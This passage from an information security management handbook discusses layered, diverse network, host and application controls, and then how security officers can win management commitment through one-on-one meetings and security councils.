secret, and the second key is public and can be distributed freely. Any data encrypted with one of the keys can only be decrypted using the other related key. Examples of these types of algorithms include RSA (named for its developers, R. L. Rivest, A. Shimir, and L. Adleman), Diffie–Hellman, and ElGamal. Asymmetric algorithms generally are used to provide key exchange and authentication functions for protocols such as Internet Protocol Security (IPSec) and Secure Sockets Layer (SSL). When an asymmetric algorithm has been used to pass a shared or session key between the connecting parties, then a more efficient symmetric algorithm can be used to encrypt the traffic. In addition to encrypting the data being passed between two parties, encryption can also be used to provide authentication between them. This is important to prevent a man-in-the-middle attack. A man-in-the-middle attack occurs when a third party is able to intercept traffic between two parties and is able to read or modify the traffic without the knowledge of either communicating party. Protection against this attack requires the ability to verify the identity of the source of the traffic and the ability to verify that it has not been modified. This is done by using encryption in combination with hashing algorithms. Some commonly used algorithms include Message Digest 5 (MD5) and Secure Hashing Algorithm Version 1 (SHA1). These hashing algorithms take data as an input and output a message digest that by design of the hashing algorithm is unique for that particular input. This output can then be encrypted using the private key of a public/private key algorithm to form a digital signature. This allows the verification of the source of the data and that it has not been modified while in transit. Encryption controls and hashing algorithms have been found to have a number of weaknesses. One problem that has occurred in the past is the discovery of a mathematical weakness in an algorithm that is being utilized. One example of this is the Message Digest 2 (MD2) hashing algorithm. This algorithm was shown to be vulnerable to mathematical attacks that could allow two different inputs to produce the same hash result. When this weakness was discovered, the hashing algorithm could no longer be considered a secure one. To protect against a possible mathematical weakness in a specific algorithm, various algorithms can be utilized in different parts of the network. Client-to-Web network communications using SSL can use one algorithm, and server-to-server IPSec traffic can use a different one. Another technique is to encrypt the
192
Information Security Management Handbook
traffic first using an encryption system employing one algorithm and then encrypt the encrypted traffic again using a different algorithm. This technique is referred to as super-encryption. One example of super-encryption is using SSL over an IPSec virtual private network (VPN). The network traffic is first encrypted by the SSL implementation and is then encrypted by the IPSec implementation, thereby double encrypting the data. Utilizing more then one encryption algorithm reduces the risk of a weakness in a flawed algorithm that could compromise the security of an application. Another problem that can occur with the use of encryption is in the actual implementation of the algorithm within a protocol. Protocols such as SSL use a random function to create a session key to encrypt the data. If the method used to generate that random key is flawed, it may be possible to guess the key or to reduce it down to a range of keys that can then be subject to a brute force attack that could succeed in a practical amount of time. Again, using various implementations that utilize different techniques will reduce the risk of a flawed implementation compromising an entire application. Another weakness in encryption systems can be in the mechanism used to protect the encryption keys. The most prevalent mechanism for protecting the key is to use a password scheme to encrypt the key and then storing it on the machine performing the encryption. In order to use the encryption key, the operator must supply the password to decrypt the key. A potential problem with this approach is that the password being used to protect the key may not be sufficiently complex. It could be subject to a guessing or dictionary attack, which uses lists of words to attempt to guess a password. It could also be intercepted and recorded by an attacker who has access to the machine on which it is used. To protect against this, complex passwords should be used, and every system should utilize a different password, so if one of the passwords is compromised then any potential damage will be limited only to that system. Another mechanism for storing an encryption key is through the use of a smart card. This creditcard-sized card contains a chip that provides some protected storage and some simple encryption/ decryption functions. It is also designed to be tamper resistant to protect against attempts to extract the information, even with physical access. When used to store encryption keys, a smart card can store the key and not allow it to be accessed unless a personal identification number (PIN) is supplied. This provides a much greater level of security as an attacker would have to have access to both the card and the PIN in order to compromise the encryption key. Using a combination of passwords and smart cards provides diversity in an encryption systems and lessens the risk of a failure in any part of the system leading to complete failure of the application. These network controls can also complement other controls. Many major threats originate over the network, and good network controls can reduce the risk of the compromise of a system. If an operating system or application has a particular vulnerability to a network-based service, the network control can be adjusted to reduce or even eliminate the threat until an operating system or application can be patched or reconfigured. This is important, as the patching of these systems may take a long time and may require modification of the applications that are being run. Because the control is being implemented at the network, it can be implemented relatively quickly and provide protection against the threat. In addition, it is good security practice to allow only network traffic that is necessary to run the application or service to minimize the impact of new threats. Detective-type controls, such as network intrusion detection, can also help in determining the effectiveness of the other network controls by monitoring network traffic and assisting in determining if a network control has failed. Monitoring the log files of network controls is also important, as the logs produced by these controls can provide valuable information in determining when a machine has been compromised. Providing diversity within each network control and utilizing overlapping controls where possible can help in protecting and detecting network-based attacks and can lessen the risk of compromised applications.
Host Operating System Controls Another important set of controls that can be used to protect an application or service exists on the host operating system of the system running the application or service. These controls support the confidentiality, integrity, and availability of the applications or services running on the host. Some of these
Belts and Suspenders: Diversity in Information Technology Security
193
mechanisms are built into the operating systems, and others are implemented by loading additional software. If implemented properly and with diversity, these controls can complement network and application controls to provide better security and reduce the threat to an application or service. A major control provided by a host is authenticating access. This control is used to verify the identity of users of the host. This identification can then be used by other controls to provide access controls. The authentication method used to verify the identity of the users is important, as that method controls the extent to which the identity can be trusted to be authentic. A variety of methods can provide authentication. The most prevalent method is through the use of a password that is known by the person who is authenticating. This is known as one-factor authentication and uses something that only that person knows. Another method is through the use of a password that is generated by a hardware token or a certificate on a smart card. This is commonly used in conjunction with a PIN. This approach is referred to as two-factor authentication, as it combines something that the user knows and something that the user physically has (the token or smart card). A third method of authentication is through the use of biometric information that is unique to the person. Examples of these include fingerprints, hand geometry, and iris/retina scans. When a person has established his or her identity through authentication, then the appropriate access controls can be used to restrict that person to the appropriate data and functions. Utilizing diverse authentication methods can greatly reduce the threat of an identity being compromised. Network controls can also be used to limit the network locations from which a user can gain access. The implementation of an access control list on a firewall can prevent access to the system unless the request comes from an approved network. This can reduce the threat of attempts at unauthorized access by limiting the access to better controlled networks. In addition, if users are only expected to access the system from a specific network, then monitoring can reveal when access is attempted from other unauthorized networks. Action can then be taken to investigate why the access was attempted. When a user has been properly authenticated, then the access controls of the operating system can be used to limit the data and functions that can be accessed. This is done by granting or revoking privileges within the operating system. Some examples of these include allowing specific users to log in from the network, specifying times that a user is allowed to access the system, and, when a user has logged into the system, what resources that user can access. Functional privileges are another type of privilege that control what a user is allowed to do, such as having the ability to shut down the system, access another user’s files, start or stop services, and even grant privileges to other users. Some operating systems support very granular control and allow the individual granting of privileges, whereas others only support the granting of either all privileges or none at all. Only allowing users the minimum privileges to perform their jobs is an important part of reducing the risk if that user is compromised. One way that overlapping controls can be used is in the case of a user who apparently has logged on via the network and is attempting to access other functions or areas that are unauthorized. This can indicate that the user’s ID may have been compromised and the matter should be investigated. If the access is via the network, then network controls can help to locate, isolate, and subsequently block any further access attempts from that network. This is an example of how host controls and network controls can work in conjunction to detect and respond to threats to a system. One other way to provide host access control to data is through the use of file encryption. This can be employed as part of the host operating system or can be a separate add-on application and can be implemented on a file-by-file basis or on an entire volume. This can complement and provide diversity to existing access controls by restricting access to authorized users only and also requiring that the user provide the key to decrypt the data. In addition, using encryption algorithms different from those used in other areas of the system can reduce the risk that a compromise in one algorithm will compromise the entire system. Encryption also provides protection against physical attacks on the host that would allow direct access to the protected data. Even if the host controls were bypassed, the risk of the data being compromised would be less as the data would still be protected by the encryption as long as the key remained secret. Furthermore, if the encryption scheme is implemented separate from the host operating system, it can provide a separate independent control that will reduce the risk of the data being accessed by an unauthorized individual.
194
Information Security Management Handbook
Another control that is important to mention is the use of a host intrusion detection system. This is a collection of processes that run on a system to monitor for activity that may indicate an intrusion is occurring or has occurred. It can include various functions, such file integrity checking, monitoring of communications traffic, log file monitoring, and auditing of access rights. By performing these functions it can detect when an intrusion has occurred. When used in conjunction with other controls, such as network intrusion detection, it may be possible to pinpoint the source of the intrusion and take action to further investigate it or block any future intrusions. In addition, these controls can also provide important log information that may allow the organization to take legal action against the intruder. One of the most important preventive host controls is provided by the addition of anti-virus software. Anti-virus software contains a number of features and functions that can help protect a system against compromise. One of the main functions of anti-virus software is the detection of malicious code in files. Most viruses will attempt to both install and run executable files or modify executable files that already exist on the system. These modifications can be used to provide unauthenticated access to the system or to spread the virus to other machines. Anti-virus software attempts to detect these infected files when they are accessed by the host system and prevent them from running. This is an important preventive control because it can provide protection against viruses and worms that use vulnerabilities that have not yet been patched on the host system. It may also be quicker to update the anti-virus signature files than to patch against the vulnerability used by the virus to spread. Virus detection should also be used in other places to provide overlapping control. Although the most important place is on a host itself, another place that anti-virus software should be run is on e-mail servers. E-mail is one of the major methods or vectors used by viruses to spread from one system to another, so running anti-virus scanning software on the e-mail servers is an important control. It is important to implement diversity in this control, as well. Anti-virus implementations will use a variety of methods to detect viruses. Most implementations use signature files to identify the code used in a particular virus. This means that the virus signatures must be kept up to date in order to provide protection against the latest viruses. One way to provide extra protection through diversity is to utilize more then one anti-virus vendor solution. Anti-virus software companies can provide updates on different schedules. Some provide updates once a week, and others may provide them once a day. Also, anti-virus vendors will discover the virus and release their updates at different times. Utilizing multiple vendors allows an organization to take advantage of whichever vendor comes up with the detection and remediation first. When applied to e-mail solutions that use gateways and internal relays, this approach can be implemented by utilizing a different vendor’s solution on the gateway than on the internal e-mail relays and, if possible, a third solution on the hosts themselves to provide even further diversity.
Application Controls The next place where security controls can be implemented is in the application itself. Applications vary greatly in the amount of security controls that can be implemented. They can also be made up of diverse sets of systems such as browsers, Web servers, and databases. Each one of these pieces represents a place to attack the system as well as an opportunity to implement a control. Applications rely on the system that is hosting the application in order to properly execute the application. If the underlying system that is hosting the application is compromised, then the application controls could be bypassed, making them ineffective. It is important to protect the system that is running the application. One way to reduce the risk of a system vulnerability being used to compromise an application is to use different types of systems to implement an application. If the application requires the use of multiple Web servers, possibly for load balancing, and can be run on more then one operating system, it is possible to take advantage of this and utilize two or more operating systems for those servers which can reduce the risk of a vulnerability in one operating system affecting the entire application. If a vulnerability is discovered, then the system that is vulnerable can be taken offline until it is patched or mitigated in some other manner, but the application can continue to function utilizing the other Web servers that use a different operating system. A drawback to this approach is that it greatly increases
Belts and Suspenders: Diversity in Information Technology Security
195
operating complexity by having to maintain and administer multiple operating systems; however, this complexity may be justified for critical applications that must be available all of the time. Diversity should also apply to the clients used to access the applications. Particularly for Web-based applications, the application should support various browsers in order to prevent a flaw in any single browser from compromising the application or service. This can best be done by making sure the application does not depend on a specific feature of a specific browser to operate and uses standards that most browsers can support. This approach has some drawbacks in that the support of the application must be able to handle these multiple access platforms, and the application must be tested with them to ensure that it functions properly. Applications may also provide their own authentication process that may be used either with the host authentication or as a totally separate authentication path. If the application authentication is done after a host authentication, then one way to reduce the threat of a compromise is to use a different method of authentication than that used by the host. This can prevent the compromise of the authentication method for the host from allowing access to the application. Within applications, many access controls can be used to restrict access to functions and resources. For some enterprise applications, these can be very granular and can restrict access down to a particular transaction. Applications can also define roles or groups for its users that in turn define the type of access control, which can make it easier to administer these controls. These access controls can be used in the same manner as the host access controls to limit the functionality that is being accessed by users as well as combined with network controls to limit the sections of the network that can access a particular function within an application. An example of this combination control is not allowing high dollar transactions in a financial application to be initiated from the Internet. This can be done by limiting that functionality to an ID that can only be used to access the application from a controlled network. In addition, encryption can also be used to protect data within the application. Using encryption can prevent the disclosure of critical application data such as credit card numbers or other sensitive information that should be protected even from the administrators of the applications. Diverse access controls, including the use of encryption, can provide multiple layers of protection for the data that is contained within an application and reduce the risk of having the application data compromised. Coordinating the use of network, host, and application controls can provide redundancy in protecting against compromises and detecting intrusions. This can be an administrative burden, as it requires the coordination of all the controls in order to provide appropriate access to authorized users, but combining all of these controls together can help in reducing the risk of a compromise due to a failure in any one of them.
Detection and Response Detection and response are integral parts of any security plan. Although most plans attempt to prevent incidents from occurring, it is also necessary to react to any detected problems. A system that involves a number of diverse security controls can make it challenging to deal with all of the events being generated. It is possible to use diversity in response to improve the likelihood that the response will be timely and allow administrators to resolve the problem with a minimum of impact to the applications. One tool that can be used to help monitor diverse security controls is a security event correlation system. These systems can take events and logs from various sources such as firewalls, network intrusion detection systems, anti-virus detection logs, host security logs, and many others type of logs and correlate them together. This then allows the events to be related together to determine if any action should be taken. An example of this is when a network intrusion detection system detects an attack against a system and the file integrity checker detects a change in a critical file. These events may be detected and responded to individually based only on the priority of that specific event occurring. If they are being processed by a security event correlation system, then it can recognize that these events may be related, and the priority of the events can be adjusted so they are addressed in a more timely manner. This can also help in managing the diversity of different events, as the security event correlation system can map the same
196
Information Security Management Handbook
type events from multiple sources to a common naming system or grouping of events. This is important, as multiple vendors may have different names for the same event, but this system allows events to be reacted to in the same fashion no matter what the source. This type of system is essential to an enterprise utilizing multiple diverse security controls and monitoring systems. Another place where diversity can help is in the tools used in the alerting and response process. This can assist in ensuring that administrators will be able to respond to problems in a timely manner. Some alert processes rely on only one method of notification (usually e-mail to a pager). This can be a single point of failure, especially if the e-mail system or the network itself is the system that is affected by the problem. Utilizing other methods of notification, such as devices that will page directly from an event console, will increase the likelihood that the notification will occur in a timely manner. It is also important to protect the response tools and systems that run them as much as possible. These systems should be protected at the highest levels, as they are critical in assisting in containment, remediation, and recovery. Providing diversity for these tools is also a good idea. Being able to utilize tools that run on multiple operating systems is important, because the system that will be used to respond to the incident may be compromised by the same incident that is being responded to. It is also possible that the response system may not be accessible via the network because of the same incident. Having the ability to operate in many different environments will reduce an organization’s dependency on any single system and increase the probability of being able to defend successfully against an attack. Another place to practice diversity is in the actual tools required to respond. In some cases, a tool may not be able to function because the method it uses is blocked by a network control put in place to protect against the effects of an ongoing incident. An example of this was the Blaster worm. It used the Internet Control Messaging Protocol (ICMP) to locate other machines to infect. This resulted in massive amounts of ICMP traffic on networks with infected machines. A common practice was to block this protocol on those networks in order to allow the noninfected machines to communicate. A side effect of this was that it disabled a number of network tools, such as Ping and Tracert, that are commonly used to troubleshoot network issues. Other tools that did not use ICMP had to be utilized Another place where diversity is helpful is in the method of access that may be necessary to respond to an incident. For example, VPNs may be used to access the enterprise network from the Internet. If an incident has disabled that access, it will be necessary to have an alternative method available, such as dial-up or the ability to access the network directly by physically going to a location. This can also be useful if it is suspected that the normal method of access may be compromised or possibly is being monitored by an attacker.
Conclusion The use of different security controls within an application environment can go a long way toward reducing the security risks of running the application. Utilizing diverse controls across the network, hosts, and applications, as well as the detection of and response to incidents, can provide multiple layers of protections. These layers can provide overlapping controls that will reinforce the security provided by each control. If one of the controls fails, then an overlapping control can still provide protection or detection. One drawback to using multiple overlapping controls is that administration of these controls requires more effort, which can be justified by the reduction of risk that these multiple controls can provide. Multiple controls can also provide some opportunities to separate critical duties in that different personnel can administer different controls, thereby not allowing any single person to compromise the entire application. Care must also be taken to implement the controls in an independent manner to reduce the risk that a failure in a single control will affect other controls. All in all, the implementation of multiple diverse controls that are layered throughout the network, host, and application can maximize the security of an organization’s applications and minimize the risk of a compromise.
16 Building Management Commitment through Security Councils, or Security Council Critical Success Factors Todd Fitzgerald One of the most common concerns voiced at the various security conferences and security associations around the country is, “How do we get our management to understand the importance of information security?” These concerns are typically voiced by individuals that have been unable to secure the attention of or financial commitment from the senior leadership of their respective organizations. The question is usually accompanied with frustration as a result of multiple attempts to obtain budget dollars, only to be faced with flat budgets or even cuts to the current expenditure levels. Although each organization has different values, principles, and strategies to move the business forward, this article explores some techniques for building management commitment through the implementation of a successful information security council.
The Evolution of Information Security Before we can accurately talk about today’s information security environment, it is useful to explore how information security evolved to the current state. Figure 16.1 shows the evolution over the past 40 years as a progression of issues. In the early days of information security, the discipline was focused on the mainframe environment, where the information was controlled centrally through a single operating system. The view of information security at this time was that it was primarily an information technology (IT) issue. IT at that time was also seen as an overhead expense to support the accounting and back-end functions of the organization (versus operating as a core business enabler). Information technology was also viewed as being very technical and not well understood by senior executives within organizations, although they understood that it was necessary. To further distance information security from the senior executives, it was mainly viewed as the management of log-in IDs and passwords. As a result of these perceptions, information security was located within the IT departments and typically buried somewhere within the data center operations management. Then along came minicomputers, the first mechanism to move information off of the mainframes and onto departmental processors. Moving the information to another platform required management
197
198
Information Security Management Handbook
Protection of Critical Infrastructures 9/11 Large-Scale Viruses
Attention to Security
Privacy Focus Portable Computing Internet “Web” Presence Decentralized Systems Data Warehouses Personal Computers Connected Local Area Networks Distributed “Mini-Computers” Mainframe-Centric Computing
1960
1970
1980
1990
2000
2010
Time
FIGURE 16.1 Attention to information security across technical/environmental changes.
of the information between the platforms and another level of log-in/password controls. These servers were still typically managed by the central IT departments, so information security was still predominantly addressed centrally. In the early 1980s, with the introduction of the personal computer and a move away from cathode ray terminals (CRTs), a significant change occurred for information security. Now information was being replicated from the previously centrally managed systems to individual workstations. The PCs were quickly organized into local area networks to share files and printers. This represented a real challenge for information security — although access to mainframe systems could be controlled and access to the networks could be controlled through the network operating systems, what security controls were in place to protect the desktop? As history has shown us, very little has been done to protect the desktop in most organizations. What was the management view of information security at this time? There was some recognition that there was more to information security; however, it was still thought of as an IT issue and, more frequently, an impediment to integration of the networks. In other words, it was an obstacle that had to be overcome to be successful. Beginning in the mid-1980s, organizations were making investments in data warehouses as the value of aggregating transactional information to support decision making was beginning to be realized. Organizations dealt with data ownership issues and who should have access to the decision-making information. Executives recognized the value of this information, but security was still viewed as an IT function, similar to systems analysis and design, database administration, infrastructure, computer programming, data center operations, and testing or quality assurance. However, the information was becoming significantly more meaningful, due to the aggregation, if viewed by inappropriate parties. The next major change was the introduction of the Internet and specifically the Web. The Internet’s beginnings can be traced back to the late 1960s/early 1970s, but usage at any scale beyond the research, education, and government communities did not occur until the mid-1990s. Today, the Internet is embedded in our culture as much as cell phones, minivans, sport utility vehicles, and expecting consistency
Building Management Commitment through Security Councils
199
in food quality from one chain restaurant to another. Systems that were once protected by the data center “glass house” subsequently moved to a shared network environment that was still connected within the organization. Wide area network (WAN) and local area network (LAN) technologies were utilized, but still there was exposure within the phone system; however, this was viewed as private within the organization, comprising lower risk. When the necessity to become connected to the Internet to establish a company presence, conduct electronic commerce, and provide access to the vast resources available, organizations increased their risk of intrusion significantly. It is during this latest period that information security began to come to the forefront in leading organizations, albeit still being regarded as primarily an IT issue. Why? Because many organizations were positioning the Internet for customer service and order entry functions (beyond the earlier “Web presence” phase), their businesses were much more dependent on the availability of these systems. Additionally, communications were increasingly becoming dependent on electronic mail with external organizations due to the Internet connection. Computer viruses and worms such as Melissa, Ilove you, Goner, Blaster, Slammer, Sasser, and so on from the late 1990s to the present have served to compromise the availability of business systems. Senior executives were beginning to become concerned over reports of “external hackers” but were still were not completely knowledgeable as to the risks to the organization. With the lower cost of producing portable computers in the late 1990s and the new millennium, these devices were becoming more common. The lower cost coupled with the Internet capabilities for accessing internal systems remotely served to proliferate the usage of laptop computers. New security concerns were introduced, as these devices created new entry points into the network. This was primarily viewed by senior management as an issue to be managed by the network and information security areas. As organizations turned the corner on the new millennium, proposed rules emerged such as the Health Insurance Portability and Accountability Act (HIPAA), the Gramm–Leach–Bliley Act (GLBA), National Institute of Standards and Technology (NIST) guidance, and activity within California directed at individual privacy. Although several of these rules had been in development for many years, the general population was beginning to express greater concern about the privacy of their information, whether financial, health-related, or personal, and its being protected and viewed only by those with a legitimate need to know. Fears of their personal information being displayed on the Internet by a hacker or that their Social Security numbers could be compromised while conducting an online transaction came to the forefront. The threat of having their credit history damaged by identity theft became a reality to many individuals. Companies that were the subject of compromises gained unwanted attention in the press. Some of those organizations, such as Egghead, CDNow, and others were forced into bankruptcy as a result. Now, security was beginning to become a topic of boardroom discussion due to an increasing awareness of the risks to the business posed by an external or internal compromise and disclosure of confidential information. Somewhere between the widespread usage of the Internet and the attention being given to compliance regulations senior management in leading organizations began to recognize that the issue was one of business risk as opposed to an internal IT issue. As networks suffered outages due to worms and viruses, as inappropriate disclosures of company information occurred, and as trade secrets were suspected of being stolen through corporate espionage, attention to security began to move out of the IT department. September 11, 2001, was a tragic day for our country. Senior management at many organizations began to ask: What if a tragic event happened to us? Are we prepared? Would we be able to sustain the business or go out of business? These questions again added to the perspective that information security was more than log-in IDs and passwords. The establishment of the Homeland Security department may not have had a significant, direct impact on most organizations, but the mere presence of and constant attention paid by the President to defeating the terrorists has increased the amount of attention paid to our critical infrastructures. Security has impacted the daily lives of each American — just consider the airport screening process today versus pre-911. Individuals are more understanding that security is here to stay, even though they may not like the inconvenience. Because individuals are now more security conscious, senior management is seeing security issues addressed more in the media and is beginning to understand the risks.
200
Information Security Management Handbook
So, what does this quick tour of the history of information security all mean? Simply put, in many organizations, information security is viewed in a broader context than the establishment and termination of access controls by senior management. They understand, for the most part, that this is a business risk issue that requires some funding; however, protecting information is still largely viewed as an information technology issue, and the individuals responsible for information security still report within the IT organization or to the chief information officer (CIO), if they are fortunate. Some progressive organizations have recognized the business value of this function and have aligned the reporting with the legal, compliance, internal audit, and risk management functions.
Why Communication Fails To have meaningful communication, it is imperative that the needs and perspective of the listener be understood by the person giving the presentation, trying to sell the idea, or advance the posture of information security. Let’s try an exercise for a moment: Close your eyes, and envision the most technical person in your organization who understands security. Imagine that this person is having a conversation with the chief executive officer (CEO) of the company about why a new firewall is needed. What images come to mind? What are the key phrases that are communicated? What do you think the odds of success are? Okay, open your eyes now. Chances are this exercise produced either comfort or extreme discomfort. Let’s examine some key concepts for making this interaction successful: • Avoid techno-babble. Technical individuals are used to conversing among their peers about the latest technology, and it is many times necessary to communicate in this language to determine the appropriate solution. Sometimes techno-babble is used to make the individuals appear to be knowledgeable in the technology; however, throwing out vendor names and technical terms to senior executives such as the CISCO PIX 500 Series firewall, Active Directory organizational objects, stateful port inspections, or, worse yet, the vulnerabilities of port 139 or explaining why SSL encryption through port 443 is the way to go for this application is only a recipe for disaster! It is analogous to a new car salesman attempting to sell a car to someone by explaining the compression ratio specifications of the engine. Although these details may be important to the engineer designing the car to ensure that the car has the proper size engine for the weight and acceleration expectations of the car and may also be important to the manufacturer to ensure that the engine is built to the quality level desired, explaining these facts to most car buyers would be not only uninteresting but also rather irrelevant. • Understand the senior management view toward security. Senior management’s view of the importance of information security will guide the organization’s view as well. If support for adopting security practices is currently lacking, this should be understood. Is there an uphill battle ahead, where every idea presented will have to be defended to obtain appropriate funding? Or does senior management have an understanding of the issue and are they willing to allocate some of the necessary funds? In the first case, more time will have to be spent educating senior management in terms of risk, as well as gaining champions of the effort, prior to actually selling information security to senior management. • Highlight business risks. This does not mean dancing around like Chicken Little and proclaiming that the sky is falling. Yes, it is true that nothing grabs the attention of senior management better than a security incident; however, a strategy based on reacting to the latest security incidents is not conducive to establishing a long-term security program. Instead, it promotes the idea that security can be invested in only when major problems occur, which is contrary to the investment model desired. Risks must be communicated in business terms, such as the likelihood of occurrence, the impact of what will happen if the event does occur, what solutions can be implemented to mitigate the risk, and the cost of the solution. Whether the solution is the latest whiz-bang, leading-edge technology or the implementation of appropriate administrative controls, the real decision process involves answering the question of whether the organization can live with the
Building Management Commitment through Security Councils
201
risk or should make more investments. Understanding this perspective will reduce the possibility of presenting the idea in techno-babble terms, as previously mentioned. Many times people in technically oriented positions are very good at analyzing problems and formulating solutions to the problems, but their explanations are many times focused on the specific details of the technology. Although this is important and works for resolving those types of issues, it does not work as well when explaining positions to senior leaders that have limited time to address each individual issue. • Dress appropriately. In today’s business-casual environment, as well as its extension into certain dress-down days, it is easy to lose perspective of what is appropriate for the occasion. Notice how others in the organization dress and, specifically, how the executives dress. Are they blending with the workforce with business casual? Do they wear jeans or are they still clinging to their suits and ties? Because executives frequently have meetings with external parties, it is not uncommon in organizations that have adopted a business-casual policy for senior executives to be dressed in suits and ties for the external world. Alternatively, some executives may only dress up on those occasions when external meetings are required, so as to fit the team environment (which was the purpose of business-casual attire in the first place). Why should dress be important? If someone is to be taken seriously as an individual truly concerned about business risks, then dressing the part is necessary. Would jeans be appropriate to wear for a person’s own wedding? Why do people rent tuxedos for the occasion? Because it is important, sacred, and special and deserves the appropriate attire. If selling security is important, then appropriate attire is in order. • Do your homework on other organizations. Executives are interested in what other organizations are doing to resolve the issues. This is important, as an organization has limited resources (time, people, and money) to invest in the business and still remain profitable for shareholders and maintain the proper employee workload (to maintain morale, reduce turnover, and produce the necessary level of productivity). Because these resources are limited, they want to ensure that they are spending about the same as their competitors for investments that sustain the business and potentially more than their competitors for those investments that will gain competitive advantage. The psychology in this case is such that, as individuals, we do not want to be viewed as being less than anyone, as this is a negative. If information security is viewed as a necessary evil, as an overhead cost that must be absorbed, or as something that just has to be done, investments will never move beyond the status quo level of other organizations. If information security is viewed as being an enabler that allows the organization to add new products and services, reduce costs, and promote its trustworthiness, then the investments are apt to exceed the status quo of other organizations. Again, the benefit must be clearly articulated in terms that the key decision makers can understand. • Keep presentations short and sweet. The old adage that less is more definitely applies here. The business problem being addressed, the impact to the business, and the benefits and costs should be articulated within the first few slides. The first thought of the executives will be “Why am I here?” Then, they will ask: “What do they want from me? What will it cost?” The earlier in the presentation that these issues can be addressed, the better. Graphics and simple charts showing comparisons are also useful in communicating the message. The slides should be used as an aide but should not contain all the details, as these can be provided during the presentation if requested. Even in this case, answers to the question must be at the appropriate level for the executives. For example, if the decision makers are having difficulty understanding why information has to be encrypted to remain secure over an open network such as the Internet, diving into the details of Secure Sockets Layer, 128-bit encryption, digital certificates, and public key infrastructures is not going to address their concerns. The real questions being asked are “What are the business risks? What is the likelihood that one of these events will occur? Is it worth my investment? If the investment is made, what other problems (end-user training, inability to recover files, slower computer response time, etc.) are likely to occur?” Anticipating the answers to these business questions is the key to a successful presentation.
202
Information Security Management Handbook
Critical Success Factors for Sustained Management Commitment In the preceding sections, we reviewed the history of information security and why communication typically fails. Now it is time to define the essential steps to building a sustained management commitment throughout the organization. These steps may take months or years, depending on the size and challenges within the organization. Patience, perseverance, and incremental success will continually build the commitment. The chief security officer has to maintain the faith that the organization will enhance its security posture, especially under adverse circumstances.
Critical Success Factor 1: Communicating The Vision … One Manager at a Time “Establishing buy-in” is a term first used in the 1980s/early 1990s when organizations recognized that teamwork was essential to obtain Total Quality Management (TQM). Although TQM experienced varying levels of success within organizations, the importance of getting those involved with the processes committed to the vision was a key assumption. Documented processes were of no use if they were not supported by the management charged with ensuring their compliance. The same philosophy exists when implementing information security policies in that without linelevel management concurrence with the vision, mission, and policies, they will not be consistently enforced within the workforce. So, how is this individual buy-in established? A technique that can be very successful with first-level supervisors, managers, and middle management is to have a brief, oneon-one, scheduled conversation with each employee. The four key concepts here are (1) brief, (2) individual, (3) scheduled, and (4) conversation. The meetings should be brief, as these are very busy individuals and security is not the only responsibility on their plate; in fact, it most likely is the furthest issue from their minds. Their days are filled with responding to strategic and daily operational, tactical issues. The meetings should be individually focused, as it is important to understand their individual issues and concerns. The one-on-one setting provides the opportunity to establish this relationship in an environment where the exchange of information can be open and honest. It is critical that the manager with whom the security officer is having the conversation views the discussion as being focused on how security can help that manager’s business unit and the company achieve their business goals through the reduction of risk and enabling new services and products. The meetings must be scheduled to show appreciation for their time constraints. Technically oriented individuals are typically used to scheduling meetings at a moment’s notice, as they are many times dealing with operational issues that must be resolved immediately. Although the management also has urgent issues, in their minds having a meeting to discuss their views of security would not qualify as an urgent issue that must be addressed today or tomorrow. Because many management personnel have meetings scheduled out weeks and months in advance, the meeting will have a greater chance of success if it is scheduled two to three weeks in advance. Flexibility is key also with last-minute schedule changes. When the manager says that the meeting has to be changed at the last minute, this does not mean that security is not important but rather that other priorities (“urgent items”) have surfaced which must be addressed. Persistence in rescheduling will bring rewards, as the manager may end up paying greater attention to the message if the meeting was rescheduled. Finally, the meeting should be a conversation, not a one-sided security sales pitch. After all, the purpose of the meeting is to communicate the security vision, understand the individual’s business needs, and, most importantly, establish buy-in. Establishing management commitment throughout the organization is more of a grassroots effort among the management staff. Senior executives rely on their trusted advisors, or key management staff, to form their opinions about where the appropriate investments should be made. If the management staff is not on board with supporting the organizational security efforts, it may be difficult to bring the senior executive to support the security posture proposed by the security department. By establishing the relationships among the management staff prior to engaging the senior executive, the appropriate
Building Management Commitment through Security Councils
203
groundwork is laid to put forth the desired security program. If the senior executive is already a proponent of information security, then this can be leveraged in the discussions with that executive’s management team, although this is often not the case. Individuals are generally willing to help others, as it is human nature. The obstacles to helping have more to do with (1) other priorities, (2) time commitments, and (3) not understanding what help is needed. Sometimes, simply asking for help will go a long way. Individuals want to belong and feel that their contributions are important. As the discussions are being held with each manager, it is important to take time to understand their business needs and where they can feel that they are making a contribution to the company’s efforts. Finally, the question of “What’s in it for me?” has to be answered for each manager. Each manager has many efforts to support, and in the end their sustained commitment to information security will be primarily determined by the business benefits that they see accruing to their areas. Is it to be in compliance with regulatory requirements? To ensure the integrity of their information? To reduce the time required to gain access to a system? To simplify the procedures required by a manager to bring on a new employee through role-based access? To reduce the risk of department reputation if a laptop is lost through laptop encryption? To ensure that productivity does not suffer when a system is down due to a virus? Communicating the benefits should be in their terms and should include the traditional goals of confidentiality, integrity, and availability (CIA). These terms may mean something to the manager but are more likely to be seen in an abstract sense that does not apply to them or, worse, something that the systems security or information technology departments take care of.
Critical Success Factor 2: Analyze Organizational Culture As security professionals, we just know that investing money in security is a not only a good idea but also entirely necessary. In fact, the more the better, as it meets our goals. However, organizations are made up of many moving parts that, like parts of the human body, must all function together. What is the most important part of the human body? Think of a teenager running across the street in a hurry (we know how busy their lives are), not thinking to take the extra time to slow down or look both ways. Suddenly, a car comes speeding along. The driver ignores the stop sign in front of the crosswalk and hits the teenager. Is the brain important in making these split-second evaluations? Certainly. Or, maybe if the eyes had been more attentive or quicker to see what was happening on behalf of the driver and the pedestrian the accident could have been avoided. Or, maybe the most important part is the feet, which could have outrun the car or slammed on the brake pedal faster, again preventing the accident. Or, maybe the heart is the most important part, for if it had not kept on beating the teenager would have died. Or, maybe if the teenager’s ears were stronger the teenager would have heard the car approaching. Hmmm, now what is the most important part of the body again? Organizations are very much like the human body, as they have many parts that must function together in an integrated fashion to operate successfully. Fortunately, many security decisions are not life-and-death decisions that must be made in a split second, as in the scenario just mentioned; however, the different parts of the organization do interoperate simultaneously. Just as the parts of the body are moving in coordination with each other, organizations are not sequential but rather accomplish departmental missions at the same time. This is where the challenge comes in. Where is the “security part” operating within the organization? Is the “security part” part of the brain, analyzing the situation in real time and deciding how to proceed safely? Is the “security part” taking direction from some other organizational body part and moving as instructed (in a direction that may be right or wrong)? Is the “security part” listening to what is happening but has no control over the other organizational body parts running toward the street? Is security viewed as the pumping life blood of the organization, without which the organization could not exist? Or, is the “security part” an afterthought to be applied only when the ambulance and emergency medical technicians arrive? 